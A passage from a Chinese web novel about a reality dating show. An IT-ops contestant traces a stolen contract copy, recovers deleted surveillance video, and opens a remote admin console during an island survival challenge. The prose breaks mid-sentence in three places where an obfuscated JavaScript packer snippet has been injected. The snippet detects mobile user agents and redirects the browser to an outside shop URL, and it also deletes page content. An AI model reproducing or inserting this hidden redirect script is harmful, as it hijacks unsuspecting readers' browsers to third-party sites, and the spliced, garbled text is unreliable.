陈末心里一沉。紧急情况?母亲那边?还是…… 他立刻出门,快步走向监控室。推开门,刘导脸色铁青,旁边站着两个安保人员。 “陈末老师,”刘导声音低沉,“你的房间……可能被入侵了。” “什么?” “我们刚才检查监控回放,发现今天下午三点十七分,有一个非节目组工作人员进入了别墅区域。”刘导调出监控画面,“这个人戴着帽子和口罩,避开主要摄像头,在三楼走廊停留了四分钟——就在你的房间门口。” 画面很模糊,但能看出是个中等身材的人,穿着普通维修工服装。 “他进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990791|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我房间了?”陈末问。 “不确定。你的房间门锁没有被破坏的痕迹。但我们检查了走廊所有摄像头,发现你房间门口那个摄像头的存储文件……有一段三分钟的空白。” “被删除了?” “或者被干扰了。”刘导说,“技术人员正在恢复数据。但我们怀疑……有人进了你的房间。” 陈末想起王烁今天那个公文包,想起楚曦听到的“合同”、“证据”。 “我需要检查房间。”他说。 “我们一起去。”刘导示意安保人员跟上。 回到房间,陈末快速检查。笔记本电脑还在,手机还在,钱包还在……表面看起来一切正常。但他打开抽屉——那本《Linux服务器运维实战》还在,但旁边那份合同副本…… 不见了。 “合同副本。”陈末说,“我放在这个抽屉里,用这本书压着。现在书还在,合同没了。” 刘导脸色更难看:“你确定?” “确定。”陈末打开手机,翻出之前拍的照片——他习惯给重要物品拍照存档。照片显示,昨天下午,合同确实在这个抽屉里。 “其他东西呢?有没有丢失?” 陈末仔细检查。笔记本电脑没被动过——他设置了登录日志,如果有人尝试解锁会有记录。手机一直随身携带。钱包里的现金和卡都在。只有那份合同副本不见了。 “只丢了合同。”他说。 “合同内容……”刘导压低声音,“包括报酬条款吗?” “包括。”陈末说,“日薪一百万一栏,拍得很清楚。” 刘导闭上眼睛,深吸一口气:“麻烦了。” “王烁团队?”陈末直接问。 “大概率是。”刘导睁开眼,“但没证据。而且就算有证据,他现在也不会直接曝光——太明显了。他可能会在关键时刻用这个信息。” “什么关键时刻?” “比如……”刘导看着他,“如果你在节目里的表现出现争议,或者你的人设受到质疑时。那时候抛出‘天价片酬’,会彻底摧毁你的‘真实’形象。” 陈末明白了。王烁在收集武器,等待时机。 “现在怎么办?”他问。 “第一,加强安保。我会安排人24小时巡逻,所有进出人员严格核查。”刘导说,“第二,你需要准备应对方案。如果合同内容被曝光,你怎么回应?” 陈末思考。日薪一百万是事实,他没法否认。但可以说“合同是商业机密,不便透露”?观众会买账吗? “我需要想想。”他说。 “好。”刘导拍拍他的肩,“另外……关于今晚的信。你收了三封,王烁只收了一封。这可能会让他更……” “更急。”陈末接话。 “对。”刘导点头,“小心点。明天开始,节目进入后半程。竞争会更激烈。” 刘导和安保人员离开后,陈末重新锁上门。他走到窗边,看着外面的海。 夜色深沉,没有月光,海面漆黑一片。 合同失踪了。 王烁拿到了他的把柄。 而他还欠着林薇三十万,欠着秦澜一个答复,欠着苏小雨一份回应,欠着楚曦一次训练。 所有变量都在收紧。 所有风险都在增加。 他打开手机,看着母亲今天发来的消息:“小末,今天能下床走几步了。别担心我,好好工作。” 好好工作。 日薪一百万的工作。 但现在,这份工作的代价,可能远不止时间精力。 他可能要面对舆论风暴,人设崩塌,甚至……更糟的后果。 陈末深吸一口气,打开电脑。 开始写应对方案。 开始准备防御策略。 开始……为可能到来的风暴, 搭建避难所。 窗外的海面上,远处灯塔的光依然规律地旋转。 每十二秒一次。 像倒计时。 提示着: 风暴正在靠近。 而他, 必须做好准备。 即使不知道风暴具体何时来, 从哪里来, 有多强。 他只知道, 从现在开始, 每一刻, 都可能成为, 风暴眼。 31. 漏洞报告:合同异常访问 晚上十一点四十七分,监控室。 陈末站在刘导身后,眼睛盯着屏幕上不断跳动的代码行。技术人员正在尝试恢复被删除的那段监控视频,进度条缓慢爬行,像一只生锈的蜗牛在爬坡。 “日志分析结果显示,文件是在今天下午三点二十一分至三点二十四分之间被删除的。”技术人员指着屏幕,“删除方式很专业,不是普通覆盖,而是用了安全擦除算法。理论上不可恢复。” “理论上?”陈末问。 “除非……”技术人员敲了几下键盘,“除非系统有影子副本功能,但我们这个监控系统版本太旧,按理说没有。” 陈末俯身看向控制台。系统界面是典型的国产监控软件,UI设计停留在Windows XP时代,菜单栏里还有个“欢迎使用2008版”的水印。 “让我试试。”他说。 技术人员犹豫地看向刘导。刘导点头:“让他来。他是专业运维。” 陈末坐下,手指在键盘上飞舞。他先检查了系统服务列表,果然发现一个名为“ShadowCopySvc”的服务被禁用。启动服务,报错:依赖服务“VSS”未运行。 “典型的配置问题。”陈末自言自语,“装系统的人图省事,把用不到的服务全关了。” 他打开注册表,找到VSS服务的启动项,从“禁用”改为“自动”,重启服务。然后进入系统盘,在隐藏的系统卷信息文件夹里翻找。 五分钟过去了。监控室里只有键盘敲击声和空调的低鸣。刘导紧张地踱步,两个安保人员站在门口像两尊门神。 “找到了。”陈末说。 屏幕上弹出一个文件选择窗口,里面有三个时间戳命名的文件。陈末选择今天下午三点二十分的那个,双击打开。 视频开始播放。 画面里,陈末的房间门口。三点十七分,一个穿着灰色维修工制服、戴着鸭舌帽和口罩的人出现在走廊。他手里拎着一个工具箱,走路姿势很自然,甚至对着走廊尽头的监控摄像头点了点头——就像普通工作人员一样。 他在陈末房间门口停下,放下工具箱,蹲下身子似乎在检查门锁。然后他抬头看了一眼门上的监控摄像头——三点十九分零三秒,画面突然变成雪花。 “就是这里。”技术人员说,“摄像头被干扰了三分钟。” 三点二十二分,画面恢复。维修工已经站起来,工具箱的盖子盖好了。他再次对摄像头点头示意,然后转身离开。 整个过程行云流水,如果不是陈末的合同丢了,这看起来就是一次普通的维修检查。 “工具箱。”陈末暂停视频,放大画面。工具箱侧面印着一行小字:“星海传媒设备维护”。 “星海传媒是王烁的经纪公司。”刘导脸色沉下来,“但这也可能是栽赃。太明显了。” 陈末继续播放。维修工离开后,直到三点半都没有其他人经过。他关上视频窗口,打开系统日志。 “删除操作是在三点二十三分开始的。”他指着日志文件,“那时候摄像头还在干扰状态。但删除命令的来源IP……” 他追踪IP地址。结果指向别墅内部网络的一个动态IP,属于客人区域的WiFi覆盖范围。 “客人区域所有设备都连同一个WiFi。”技术人员补充,“包括嘉宾的手机、平板、节目组的工作设备。无法精确定位。” 陈末靠回椅背,大脑开始运行“事故分析模块”。 事件:关键资产(合同副本)非授权访问并丢失。 时间窗口: 3:21-3:24。 攻击路径:物理接触(房间进入)+逻辑删除(监控视频)。 嫌疑人特征:熟悉节目组工作流程,能获取维修工制服,具备基础网络安全技能。 动机评级:高(王烁团队需获取陈末把柄)。 证据等级:间接(工具溯源至关联公司,IP范围过大)。 风险评估:合同内容若曝光,将引发“人设真实性”危机,潜在舆论风暴等级:8/10。 “目前情况是,”陈末总结,“我们知道合同被谁拿走了,但无法证明。对方知道我们知道,但我们不知道他们打算什么时候用这个信息。” 刘导揉了揉太阳穴:“绕口令吗这是。” “这是典型的灰色地带攻防。”陈末打开手机备忘录,开始写应对草案,“对方掌握了‘武器’,但开火时机很重要。如果我们现在反应过度,反而会暴露这个信息对我们的威胁程度。” “那怎么办?假装不知道?” “不。”陈末摇头,“执行标准安全应急流程:第一步,控制损失蔓延。” 他看向刘导:“合同内容除了日薪一百万,还有什么敏感信息?” “你的身份证号、银行卡号、紧急联系人……哦对,还有你母亲的姓名和病房号。”刘导脸色更难看了。 陈末的手指在键盘上停了一秒。然后他继续打字,速度更快了。 “第二步,加固防御。所有敏感信息立即变更。”他说,“我母亲的病房今天刚换到康复区,病案号可以申请变更。我的银行卡可以挂失换新。身份证号……这个改不了,但可以设置银行级别的监控预警。” “第三步呢?” “第三步,准备反制措施。”陈末保存文档,“如果对方使用这个信息,我们必须有同等威力的反击武器。” “比如?” 陈末看向监控屏幕上定格的维修工画面:“比如,调查一下星海传媒的维修工制服管理制度。比如,查一下今天下午有哪些‘维修工’进出过别墅。比如……”他顿了顿,“查一下王烁团队的通信记录——如果他们在节目录制期间私自联系外界,违反合同条款。” 刘导眼睛一亮:“这个可以!节目合同里有保密和隔离条款!” “但需要节目组官方出面调查。”陈末说,“而且不能明说是查王烁,要以‘安全检查’名义全面排查。” “我来安排。”刘导拿起手机,又放下,“但是陈末,如果……我是说如果,合同内容真的被曝光了,你准备怎么回应?” 陈末沉默了几秒。 他打开手机计算器,输入:1000000 ÷ 24 ÷ 60 ≈ 694.44。 “日薪一百万,折算成每分钟收入约694元。”他说,“从我发现合同丢失到现在,过去了87分钟,潜在损失约60416元。如果曝光导致我被解约,剩余录制天数按40天算,损失4000万。” 刘导张了张嘴:“你……在算钱?” “我在计算风险的财务量化指标。”陈末认真地说,“如果回应不当,损失4000万。如果回应得当,可能转化为流量增值。这是一个投入产出比问题。” “那你的结论是?” “需要更多数据。”陈末关掉计算器,“我需要知道观众对‘天价片酬’的容忍阈值,需要知道王烁团队的行动模式预测,还需要知道……”他想了想,“其他嘉宾如果知道我的真实日薪,会有什么反应。” 这时,陈末的手机震动了。是林薇的消息: “看到监控室亮灯。需要技术支持吗?” 陈末回复:“已基本完成取证。合同确认失踪。” 林薇秒回:“王烁今天下午三点左右离开过别墅,理由是‘取个人物品’,二十分钟后返回。” 时间对得上。 陈末:“收到。债务模块今日利息计算:按日息万分之五,30万本金,第3天,利息450元。累计欠款300450元。” 林薇发来一个表情包:一只猫在敲计算器.jpg 接着又一条:“利息免了。专注解决当前漏洞。” 陈末盯着屏幕。林薇的这种态度——理性、直接、无条件支持——让他觉得……系统兼容性良好。没有冗余的情绪负载,没有不必要的协议握手,就像两台配置一致的服务器在同步数据。 “刘导,”他站起来,“我建议今晚就启动全面安全检查。越快越好,给对手制造时间压力。” “现在?晚上十二点了。” “攻击发生在非工作时间,防御也应该在非工作时间。”陈末说,“出其不意。” 刘导想了想,点头:“好。我去协调安保和制片组。你先回房间……等等,你房间可能不安全了。” “我会执行标准安全协议。”陈末说,“进入前全设备扫描,重要数据加密备份,物理隔离敏感物品。” 他走出监控室时,走廊的灯已经调暗了。别墅进入夜间模式,大部分摄像头切换到红外模式,屏幕上是一片绿色调的世界。 回房间的路上,陈末经过公共休息区。意外的是,楚曦还坐在那里,手里举着哑铃在做臂弯举。 “还没睡?”楚曦放下哑铃。她穿着运动背心,脖子上搭着毛巾。 “处理一些技术问题。”陈末说,“你在……夜间训练?” “倒时差。”楚曦说,“国外比赛养成的习惯,晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990792|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而精神。刚看到安保人员在走动,出事了?” 陈末犹豫了一下。按照安全协议,不应该透露安全事件细节。但他转念一想,楚曦的物理防御能力可能有用。 “我的房间可能有未授权访问。”他选择了一个中性表述,“物品丢失。” 楚曦的眉头立刻皱起来:“丢了什么?贵重物品?” “纸质文件。” “需要我帮忙看门吗?”楚曦半开玩笑地说,“按次收费,友情价。” 陈末竟然认真考虑了这个提议。楚曦的体能和警觉性确实是一道优秀的物理防火墙。 “目前不需要。”他说,“但建议你也检查个人物品。如果是有针对性的攻击,可能不止一个目标。” 楚曦点头,表情严肃起来:“明白。需要陪练的时候随时说——我指的是任何层面的陪练。” 回到房间门口,陈末没有立刻进去。他先检查门把手——没有新的指纹或划痕。然后蹲下看门缝——没有异物。最后从口袋里掏出一个U盘大小的设备,插进门锁下方的数据接口。 这是他自己改装的门锁监控器,会记录所有开锁事件的时间、方式和使用的密钥类型。下午三点二十一分有一次开锁记录,使用的是——管理员万能卡。 节目组只有三张管理员卡:刘导一张,安保主管一张,技术总监一张。 陈末把数据导出到手机。然后他深吸一口气,推开房门。 房间看起来和离开时一模一样。床铺整齐,书桌上三封信还放在原位,笔记本电脑的电源灯规律闪烁。但他走到抽屉前,再次确认——合同副本确实不在了。 他打开笔记本电脑,调出房间内隐藏摄像头的画面——这是他入住第二天偷偷装的,针孔大小,藏在空调出风口里,连节目组都不知道。 下午三点二十一分,门开了。维修工走进来,直接走向书桌,拉开抽屉,取出合同。他甚至没有翻看其他东西,目标明确。 然后他做了件奇怪的事:从工具箱里拿出一个便携式扫描仪,把合同的每一页都扫描了一遍。扫描完,他把合同原件放回抽屉,转身离开。 不是偷走,是复制。 陈末反复播放这段视频。维修工扫描合同时的手法很专业,页面对齐平整,扫描速度均匀。扫描仪是高端型号,市场价两万多。 最后,维修工对着摄像头方向——不是陈末的隐藏摄像头,而是房间里的官方摄像头——微微点了点头,然后退出房间。 这是一个信号。 “我知道你在看。”那个点头在说。 陈末关掉视频,坐在椅子上。窗外,海平面上的灯塔光柱扫过,在墙上划出一道转瞬即逝的光弧。 对手已经拿到了武器。 对手知道他知道。 对手在等待最佳开火时机。 而他,需要在这之前,准备好防弹衣——不,是准备好一个故事。一个能让“日薪一百万”这个事实,变得合理、有趣、甚至可爱的故事。 他打开文档,开始写第一个版本: “关于《心动的岛屿》片酬问题的说明草案” 刚写了个标题,手机又震了。这次是苏小雨,发来一张照片:一碗糊掉的粥,配文“第三次尝试,还是失败了…陈末老师,明天能教我怎么不把粥煮成水泥吗?” 陈末看着照片,又看看文档标题。 两个世界在此刻碰撞:一边是暗流涌动的百万级商业攻防,一边是煮糊了的粥和直白的求助。 他回复苏小雨:“粥水比例1:8,大火煮沸后转最小火,盖盖子留缝隙,计时20分钟。附加建议:使用定时器。” 然后他回到文档,在标题下方加了一行: “(注:所有片酬收入,已计划用于母亲医疗债务偿还、本人技能提升投资、以及未来三年内不煮糊粥的厨艺培训预算)” 也许,真诚真的是最好的防火墙。 但在这之前,他需要先确保防火墙的配置没有漏洞。 灯塔的光再次扫过。 十二秒一次。 像心跳。 像倒计时。 而陈末不知道的是,就在此刻,某个匿名娱乐论坛上,一个刚注册的账号发布了这样一条帖子: “理性讨论:如果某恋综艺人实际日薪七位数,他的‘真实人设’还成立吗?” 帖子零回复,静静躺在深夜的流量低谷里。 像一颗埋进土里的种子。 等待破土而出的那一刻。 32. 压力测试:荒岛模拟挑战 清晨六点,天还没完全亮,别墅里响起了刺耳的消防演习式警报。 陈末从床上弹起来的第一反应是看手机——六点整。按日薪一百万计算,从零点到现在已经工作了6小时,入账25万。但如果这是节目组安排的突发录制,根据合同补充条款,非计划内工作时间按基础时薪的三倍计算…… 他一边心算一边穿衣服:3倍时薪约12.5万每小时,6小时就是75万。不错。 “所有嘉宾请注意!”走廊传来刘导用扩音器喊话的声音,“请于十五分钟内携带必要个人物品到一楼大厅集合!重复,十五分钟!” 必要个人物品?陈末环顾房间。他打开衣柜,开始执行“紧急撤离物资清单”: 身份证、银行卡(已挂失的新卡还没到,带复印件) 手机、充电宝、数据线 便携工具包(含多功能螺丝刀、测电笔、网线钳) 《Linux服务器运维实战》(林薇借的,不能丢) 三天量的能量棒和压缩饼干(从节目组伙食里省的) 500毫升水壶 全部装进一个20升的登山包,重量约8.5公斤。他掂了掂,又拿出两包压缩饼干——减重至7.2公斤。完美。 大厅里已经站了几个人。楚曦背着一个专业登山包,目测50升以上,鼓鼓囊囊的。她甚至还带了睡袋和防潮垫,绑在包外。 “你这是要搬家?”王烁出现,他只背了个时髦的单肩邮差包,看起来轻飘飘的。 “野外生存基本装备。”楚曦面无表情,“导演说了‘必要个人物品’,生存就是必要。” 苏小雨慌慌张张跑下楼,手里抱着一个毛绒玩具和化妆包:“等等等等,我的防晒霜还没装……刘导,我们要去哪儿啊?” 林薇最后一个下来。她背了个简单的双肩包,看起来也不重,但陈末注意到她包里露出平板电脑的一角——这种时候还带电子设备,要么是必需品,要么是…… “各位早上好。”刘导站在大厅中央,身后站着五个摄像师,“今天,《心动的岛屿》将进行第一次户外挑战:荒岛生存模拟。” 秦澜推了眼镜:“模拟?意思是并非真实荒岛?” “真实海岛,模拟生存。”刘导解释,“我们将前往离这里五海里的白沙滩无人岛。你们需要在岛上度过24小时,完成节目组设定的三个任务。岛上准备了基础营地,但食物、饮水、工具都需要你们自己携带或解决。” 王烁笑容灿烂:“听起来很有趣!团队协作,共渡难关,正是增进了解的好机会。” 陈末在想:24小时连续录制,按合同规定,超过16小时部分算加班。日薪一百万基础上,加班费每小时额外10万。24小时就是100万+80万=180万。不错。 “现在公布分组规则。”刘导拿出一个抽签筒,“两人一组,共三组。抽到同颜色球的人自动成组。” 苏小雨立刻双手合十:“拜托拜托,和陈末老师一组……” 楚曦瞥了她一眼,没说话。林薇安静地站着,表情看不出倾向。王烁则保持微笑,但陈末注意到他的手指微微收紧。 抽签开始。秦澜第一个抽——黄色。王烁抽到蓝色。楚曦黄色。林薇蓝色。现在只剩陈末和苏小雨了。 苏小雨几乎是小跑过去的,手伸进筒里时在发抖。她摸出一个球——蓝色。 “啊……”她肉眼可见地沮丧了。 陈末伸手,拿出最后一个球——黄色。 分组结果:黄队:陈末、楚曦、秦澜(三人?)。蓝队:王烁、林薇、苏小雨。 “等等,刘导。”秦澜举手,“六个人分两组,每组三人?” “是的。”刘导微笑,“考虑到荒岛挑战的难度,三人组更安全。” 苏小雨看了看蓝队的另外两人——王烁正对林薇说着什么,林薇礼貌但疏离地点头——她的小脸垮得更厉害了。 “现在,给你们二十分钟时间商议携带物品和策略。”刘导说,“七点整准时出发。” 蓝队那边,王烁立刻进入队长模式:“我们需要合理分配负重。我建议我携带食物和水,林薇负责工具,小雨负责……嗯,轻便物品。” 林薇看了他一眼:“我带了净水设备和导航仪。食物方面,我计算过三人24小时的最低热量需求是……” 陈末没继续听。他转向自己的队友。 楚曦已经在检查装备清单了:“我带了帐篷、睡袋、绳索、急救包、刀具、打火石。秦澜,你带了什么?” 秦澜打开她的双肩包:笔记本电脑、防水文件袋、太阳能充电板、卫星电话租用合同复印件。 楚曦沉默了三秒:“我们是去荒岛求生,不是去开董事会。” “信息就是生存资源。”秦澜平静地说,“我已经下载了该岛的地理资料、潮汐表、可食用植物图鉴。另外,卫星电话可以紧急联络——当然,使用需要额外付费。” 陈末点头。他欣赏这种准备方式。 “我带了基础工具和三天口粮。”他说,“建议进行物资整合,避免冗余。楚曦的帐篷是三人帐?” “双人。” “那么需要两顶帐篷。”陈末计算,“秦澜的太阳能板可以为设备供电,我的工具包可以处理机械故障。食物总量:我的能量棒12根,压缩饼干8包,楚曦你带食物了吗?” “军用口粮,六餐份。” “加上秦澜的……”陈末看向她。 秦澜从包里拿出三根蛋白棒:“我只带了这个。” 陈末重新计算:“总热量约12000大卡,三人24小时基础代谢约5400大卡,加上活动消耗,缺口不大。水是主要问题——楚曦你带了多少水?” “三升。” “我一升。” “我500毫升。”秦澜说。 陈末心算:4.5升水,每人每天最低需求2升,24小时需要至少9升。缺口4.5升。 “需要寻找水源或收集雨水。”他说,“秦澜的资料里有岛上的水源信息吗?” 秦澜打开平板,调出地图:“根据地质资料,岛屿中部有一处疑似淡水渗出的岩层。但需要实地验证。” 楚曦有些意外地看着这两人:“你们……这就开始搞项目管理了?” “效率最大化。”陈末说,“另外,我需要确认一件事:刘导说‘完成三个任务’,但没有说明任务内容。我建议分配角色——楚曦负责体力执行,秦澜负责情报分析,我负责技术支持和故障排除。” “可以。”秦澜点头,“但我要补充:我们需要制定沟通协议。岛上可能有信号盲区。” “每隔两小时进行一次位置同步。”陈末说,“使用简单的口哨信号——三短三长三短,SOS变体。” 楚曦举手:“我体能好,可以负责探路和物资搬运。但你们两个要跟得上。” “我会保持平均速度。”陈末说,“秦澜,你需要减负吗?笔记本电脑可以考虑寄存。” 秦澜犹豫了一下,还是把电脑拿了出来:“里面有全部资料……我备份到云端吧。” 二十分钟后,两队在大厅重新集合。节目组开始检查每个人的背包。 蓝队那边,王烁的包被打开时,里面除了几瓶高档矿泉水和蛋白粉,还有一个精心包装的野餐篮——里面是三明治、水果沙拉、甚至有一小瓶香槟。 “王烁老师,这是……”工作人员迟疑。 “基础补给啊。”王烁微笑,“荒岛求生也要保证营养均衡。” 苏小雨的包里塞满了零食和自拍杆。林薇的包最专业:净水器、急救包、指南针、多功能工具……还有那台平板电脑。 检查到黄队时,楚曦的装备获得工作人员点头赞许。秦澜的卫星电话被允许携带——她出示了租赁合同和紧急使用条款。轮到陈末…… “这是什么?”工作人员拿起他包里的网线钳。 “多功能工具。”陈末解释,“可以剪断绳索、剥线、甚至作为简易扳手。” “这个呢?”测电笔。 “检测是否有隐蔽电源接口——万一岛上有节目组预设的设备点。” “那这本书……”工作人员拿起《Linux服务器运维实战》。 “精神食粮。”陈末面不改色,“第八章讲负载均衡,可能对任务分配有启发。” 工作人员表情复杂地看了他一眼,最终摆摆手:“行吧,都过关。” 七点整,两辆越野车把六人送到码头。一艘快艇等在那里,海浪有点大,船身摇晃得厉害。 苏小雨上船时差点摔倒,王烁伸手扶她,但她下意识躲开了,反而抓住了栏杆。王烁的手在空中停了一秒,才收回来。 快艇开动后,海风很大。陈末坐在船尾,打开手机——还剩百分之三的信号。他快速刷新了那个匿名论坛。 那个帖子还在,但已经有了十七个回复。最新一条是凌晨四点发的: “如果是真的,那这节目就太虚伪了。素人拿天价,明星反而少?” 下面有人反驳:“没证据别瞎说。那个陈末一看就是普通人,哪像日薪百万的。” 还有一条:“我表姐在电视台工作,听说有的素人合同确实有惊喜条款……” 陈末关掉页面。种子在发芽,但还没破土。他需要在这之前,让观众看到更重要的东西——比如,一个在荒岛上用网线钳修东西的“百万日薪素人”。 四十五分钟后,岛屿出现在视野里。那是一个典型的热带小岛,白色沙滩环绕,中间是茂密的树林。岛上最高处约五十米,确实能看到一些岩石裸露的区域。 快艇在离岸二十米处停下,需要蹚水上岸。水深及腰,楚曦第一个跳下去,水花溅了王烁一身。王烁的笑容终于有点绷不住了。 陈末把背包举过头顶,稳步下水。水温适中,脚下的沙地很实。走到一半时,他忽然感觉脚底踩到什么硬物——弯腰摸出来,是一个锈蚀的铁罐头。 他仔细看了看,罐头上隐约有日文标识,生产日期……1978年。二战后的遗留物? “怎么了?”秦澜在他身后问。 陈末把罐头递给她:“岛上可能有未爆危险物。建议行动时避开岩洞和坑洼区域。” 秦澜认真点头,拿出平板做记录。 上岸后,刘导和摄像组已经在沙滩上等着了——他们是坐另一艘船先到的。 “欢迎来到‘生存岛’!”刘导张开手臂,“现在发布第一个任务:在中午十二点前,建立可以过夜的基础营地。蓝队负责岛屿东侧,黄队负责西侧。每个营地必须包括:遮蔽处、水源收集装置、食物存储点。任务完成后,可以获得下一个任务的线索。” 王烁立刻举手:“刘导,营地选址有什么限制吗?” “没有,但建议远离潮汐线。”刘导说,“另外,岛上某些区域有隐藏道具,可以帮助你们完成任务。需要自己探索发现。” 陈末捕捉到关键词:“隐藏道具”。意思是节目组提前布置了物资点。这很合理——毕竟是模拟,不是真把明星饿死。 两队分开前,苏小雨偷偷跑过来,塞给陈末一包小熊软糖:“陈末老师,这个给你……补充能量。” “你自己留着。”陈末推回去,“蓝队食物储备充足吗?” 苏小雨压低声音:“王烁哥带的都是摆拍用的……林薇姐说那些三明治撑不过中午。不过她带了净水器,应该能找到水。” “注意安全。”陈末说,“如果遇到问题,可以用这个——” 他从工具包里拿出两个简易口哨,是用小竹管和塑胶片做的:“吹响方式我教你。三短三长三短是求助,两长是集合,一长一短是安全。” 苏小雨眼睛亮亮地接过去:“陈末老师,你什么时候做的?” “昨晚。”陈末说,“标准应急预案里的基础通讯工具。” “那……”苏小雨犹豫了一下,“如果我们队赢了,你能答应我一件事吗?” “什么事?” “教我怎么做那个口哨!”她说完就脸红了,转身跑回蓝队那边。 楚曦走过来,看着苏小雨的背影:“那小姑娘对你挺上心。” “她需要可靠的技术支持。”陈末把背包重新背好,“我们该出发了。” 西侧的路比想象中难走。树林茂密,藤蔓缠绕,地面是松软的腐殖土。楚曦在前面开路,用刀砍断挡路的枝条。秦澜拿着平板导航,但GPS信号时断时续。 走了约半小时,他们找到一片相对平坦的林间空地,旁边有条干涸的小溪河道。 “这里地势较高,离海岸线约一百米,可以避免涨潮。”秦澜分析,“溪道虽然干涸,但说明这里是集水区,雨季可能有水。” 楚曦检查土壤:“地面结实,可以打地钉。问题是遮蔽物——需要搭帐篷还是建临时庇护所?” “先勘查隐藏道具。”陈末说,“节目组既然设定了这个环节,附近一定有可利用资源。” 三人在半径五十米范围内搜索。十分钟后,秦澜在一棵大树的树洞里找到一个防水袋——里面是一张手绘地图。 地图上标注了三个点:一个画着帐篷图标,一个画着水桶图标,一个画着问号。 “道具分布图。”陈末接过地图,“帐篷点应该存放了搭建材料。水桶点可能有储水容器。问号点……” “需要解密?”楚曦凑过来看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990793|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 地图背面有一行小字:“真正的生存者,知道最重要的资源不是工具,而是智慧。” 陈末翻到正面,仔细观察。地图是用普通圆珠笔画的,线条有些抖。但在问号点的位置,墨水有轻微的透纸痕迹——画的时候用力过猛。 他举起地图对着阳光。透光下,问号点处隐约能看到另一个图案:一个小小的、画得很潦草的……键盘? “计算机相关道具?”秦澜皱眉,“荒岛上要电脑做什么?” 陈末忽然想起刘导在快艇上说的话:“某些区域有隐藏道具”。如果道具包括电子设备呢?如果有电源呢? “去问号点看看。”他说。 按照地图指引,问号点在营地西北方向约八十米处,是一片岩壁。三人到达时,发现岩壁上有个窄缝,仅容一人侧身通过。 “我先进去。”楚曦说。 “等等。”陈末从包里拿出测电笔,靠近岩缝——没反应。他又拿出手机,打开手电筒往里照。 岩缝深处约三米,地上放着一个金属箱。箱子上贴着节目组的logo。 “是道具箱。”秦澜确认,“但怎么拿出来?缝隙太窄,箱子看起来不小。” 陈末估算了一下箱体尺寸和岩缝宽度:“箱子可能是折叠设计,或者需要现场组装。” “我试试能不能挤进去。”楚曦说着就要往里钻。 这时,陈末的手机忽然震动——有信号了?他看了一眼屏幕,不是信号,是低电量提示。 但他注意到,屏幕顶部的WiFi图标在闪烁。虽然显示未连接,但检测到了WiFi信号。 荒岛上有WiFi? 他打开WiFi列表,看到一个名为“Survival_Island_Admin”的开放网络。信号强度很弱,只有一格。 “秦澜,你的平板能检测WiFi吗?” 秦澜打开设备:“能。有一个开放网络……需要密码吗?” “不需要,但连不上。”陈末试着连接,卡在获取IP地址阶段,“可能只是信标网络,用于设备定位。” 他突然想到什么,从工具包里翻出那本《Linux服务器运维实战》,快速翻到第七章。林薇在这页折了角,批注是:“没有银弹——但总有变通方案。” 变通方案。 陈末看向那个岩缝,又看看手机上的WiFi信号。然后他明白了。 “箱子不是让我们拿出来的。”他说,“是要我们在外面操作它。岩缝是物理屏障,但WiFi是逻辑接口。” “什么意思?”楚曦没听懂。 “意思是,”陈末开始翻找工具,“这个挑战不是体力题,是技术题。我们需要远程控制箱子里的设备——很可能是一台服务器或者路由器。” 他找到一根USB转网口的转接线,又拿出手机,打开终端模拟器APP。 “秦澜,你的平板有USB口吗?借我用一下。” “有。”秦澜递过来,“你要做什么?” “尝试接入那个WiFi网络的后台。”陈末一边连接设备一边说,“开放网络通常有管理界面,如果节目组没改默认密码……” 他快速输入一串命令。屏幕上滚过代码行。 楚曦和秦澜对视一眼,两人脸上是同款“看不懂但大受震撼”的表情。 三分钟后,陈末抬起头:“进去了。” “进哪里去了?”楚曦问。 “那台设备的后台。”陈末把屏幕转向她们,“看,这是一个远程控制终端。我们可以通过它操纵箱子里的机械装置——我猜,箱子底部有轮子或者滑轨。” 屏幕上是简洁的命令行界面。最后一行显示: [Survival_Box_01]#> 陈末输入:status 系统回复: Box Status: Locked Content: Tent materials (folded) Release mechanism: Remote unlock available Battery: 87% “果然是帐篷材料。”秦澜说,“怎么解锁?” 陈末输入:help 帮助信息显示,需要输入一个四位密码。密码提示是:“第一天录制,陈末计算了多久的工资?” “这……”楚曦看向陈末,“节目组在玩梗?” 陈末回忆。第一天录制,从早上八点到晚上十点,共14小时。按当时误以为的日薪一千计算,时薪约41.67元,14小时收入约583.33元。他当时用手机算了三遍,耗时约……两分钟? 他试着输入:0200(两分钟,用秒表示是120秒,但四位密码可能需要0200这样的格式) Error. Attempts remaining: 2 不对。 秦澜忽然说:“不是实际时长,是‘计算了多久’。你当时在镜头前说了一句话,我记得是:‘从八点到现在,工作了十四个小时,按合同应该是……让我算算’。” 